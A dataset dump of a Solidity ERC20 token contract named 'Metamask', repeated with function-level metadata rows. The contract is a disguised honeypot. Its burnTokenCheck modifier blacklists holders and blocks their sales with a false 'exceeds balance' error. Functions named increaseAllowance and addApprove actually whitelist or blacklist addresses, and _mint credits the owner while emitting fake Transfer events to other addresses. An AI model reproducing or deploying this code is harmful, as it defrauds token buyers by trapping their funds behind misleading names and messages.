require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
4062,
4186
]
} | 1,401 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
4394,
4578
]
} | 1,402 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
5266,
5422
]
} | 1,403 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | Metamask | contract Metamask is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18));
_mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
